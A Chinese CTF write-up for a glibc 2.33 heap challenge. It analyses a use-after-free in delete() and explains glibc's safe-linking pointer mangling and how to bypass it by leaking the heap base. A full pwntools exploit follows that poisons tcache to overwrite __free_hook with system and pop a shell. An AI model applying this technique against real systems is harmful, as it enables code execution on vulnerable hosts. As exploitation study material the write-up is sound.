更换 glibc

题目附件中包含有 glibc 2.33 没有符号表,习惯使用 glibc all in one 带符号表的,patchelf 更换程序链接的 glibc

1
patchelf --set-interpreter /glibc/2.33/amd64/lib/ld-2.33.so --replace-needed libc.so.6 /glibc/2.33/amd64/lib/libc-2.33.so ezheap

image-20211201112616331

程序漏洞

堆块及其大小用两个全局列表维护,释放堆块时仅清空 size_list,地址信息依然留在全局列表

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
int delete()
{
_DWORD *v0; // rax
int v2; // [rsp+Ch] [rbp-4h]

printf("Index: ");
v2 = get_num();
if ( chunk_list[v2] && v2 >= 0 && v2 <= 15 )
{
free((void *)chunk_list[v2]); // UAF
v0 = size_list;
size_list[v2] = 0;
}
else
{
LODWORD(v0) = puts("Invalid Index!");
}
return (int)v0;
}

利用思路

题目是 glibc 2.33 UAF ,与前面低版本的 glibc 一样利用 unsortedbin 泄露 libc 地址,tcachebin 攻击获取权限

glibc2.32 以上新变化

glibc2.32 以上版本引入了新的防护机制:safe-linking

作用范围:tcache、fastbin(largebin\smallbin 的 fd_next\bk_next 是否影响没测)

影响效果:fd 指针处地址随机化

源码分析

/glibc-2.32/malloc/malloc.c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
/* Safe-Linking:
Use randomness from ASLR (mmap_base) to protect single-linked lists
of Fast-Bins and TCache. That is, mask the "next" pointers of the
lists' chunks, and also perform allocation alignment checks on them.
This mechanism reduces the risk of pointer hijacking, as was done with
Safe-Unlinking in the double-linked lists of Small-Bins.
It assumes a minimum page size of 4096 bytes (12 bits). Systems with
larger pages provide less entropy, although the pointer mangling
still works. */
/* 加密函数 */
#define PROTECT_PTR(pos, ptr) \
((__typeof (ptr)) ((((size_t) pos) >> 12) ^ ((size_t) ptr)))
/* 解密函数 */
#define REVEAL_PTR(ptr) PROTECT_PTR (&ptr, ptr)

个人感觉源码宏定义太多,这里从汇编来看怎么加密解密容易一点

汇编分析

1
2
3
4
5
6
7
8
9
10
0x7ffff7e840c8 <_int_free+664>    lea    rdx, [rsi + rdx*8]			//
0x7ffff7e840cc <_int_free+668> mov rax, r9 //被释放堆块的fd地址存入rax
0x7ffff7e840cf <_int_free+671> add ecx, 1 //tcache对应bin数量增加
0x7ffff7e840d2 <_int_free+674> mov qword ptr [r12 + 0x18], rsi //r12存储是被释放堆块header地址
//往被释放堆块bk位置写入key,防止double free
0x7ffff7e840d7 <_int_free+679> shr rax, 0xc //被释放堆块的fd地址右移12位(safe-linking加密过程)
0x7ffff7e840db <_int_free+683> xor rax, qword ptr [rdx + 0x80] //与tcache结构体中存储的相同大小的堆地址进行异或(safe-linking加密过程)
0x7ffff7e840e2 <_int_free+690> mov qword ptr [r12 + 0x10], rax //往被释放堆块fd位置写入加密后的地址
0x7ffff7e840e7 <_int_free+695> mov qword ptr [rdx + 0x80], r9 //更新tcache结构体中存储的链表头部堆地址
0x7ffff7e840ee <_int_free+702> mov word ptr [rdi], cx //更新tcacehbin的数量

通过分析汇编操作可以总结出加密公式

加密公式

公式表达:p->fd = ((&p->fd)>>12) ^ REVEAL_PTR(p->fd)

通俗表达:被释放堆块fd=(被释放堆块fd所在地址>>12)^被释放堆块的前一个堆块fd所在地址

Bypass

这里绕过说法应该有问题,需要是攻击freehook那个堆块和秘钥的那个堆地址是同一页,否则可能会出问题

绕过就是需要泄露堆地址,因为堆地址 >>12 就是秘钥。

当第一个堆块放入 tcachebin 时加密公式:p->fd = ((&p->fd)>>12) ^ 0。前一个堆块不存在地址为 0 ,从而泄露出除最低三位的堆地址。

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
from pwn import *
import sys

local = 1
binary = "./ezheap"
local_libc = "/glibc/2.33/amd64/lib/libc-2.33.so"
ip = "192.168.40.10"
port = 29538
remote_libc = "./libc-2.33.so"


def main(ip=ip,port=port):
global p,elf,libc
elf = ELF(binary)
if local:
context.log_level = "debug"
p=process(binary)
# p=process(binary,env={'LD_PRELOAD':'./libc-2.23.so'})
libc = ELF(local_libc)
pwn()
else:
p=remote(ip,port)
libc=ELF(remote_libc)
pwn()

def add(size,con):
p.sendlineafter(">> ",'1')
p.sendlineafter("Size: ",str(size))
p.sendlineafter("Content: ",con)

def edit(idx,con):
p.sendlineafter(">> ",'2')
p.sendlineafter("Index: ",str(idx))
p.sendafter("Content: ",con)

def show(idx):
p.sendlineafter(">> ",'4')
p.sendlineafter("Index: ",str(idx))

def delete(idx):
p.sendlineafter(">> ",'3')
p.sendlineafter("Index: ",str(idx))

def pwn():
for _ in range(9):
add(0x80,'/bin/sh\x00\x00'*2)
delete(0)
show(0)
heap_base = u64(p.recv(8))<<12
print "heap_base:",hex(heap_base)
for i in range(1,8):
delete(i)
show(7)
main_arena = u64(p.recv(8))-96
print "main_arena:",hex(main_arena)
libc_base = main_arena - libc.sym['main_arena']
print "libc_base:",hex(libc_base)
free_hook = libc_base + libc.sym['__free_hook']
system = libc_base + libc.sym['system']

add(0x80,'b'*0x10) #6 9
delete(6)

payload = p64((heap_base>>12)^free_hook)
edit(9,payload+'\n')
add(0x80,'skye')
add(0x80,p64(system))
delete(8)

#debug(p)
p.interactive()

def cat_flag():
global flag
p.recv()
p.sendline("cat flag")
flag = p.recvuntil('\n',drop=True).strip()

def debug(p,content=''):
if local:
gdb.attach(p,content)
raw_input()

if __name__ == "__main__":
if(len(sys.argv)==3):
ip = sys.argv[1]
port = sys.argv[2]
main()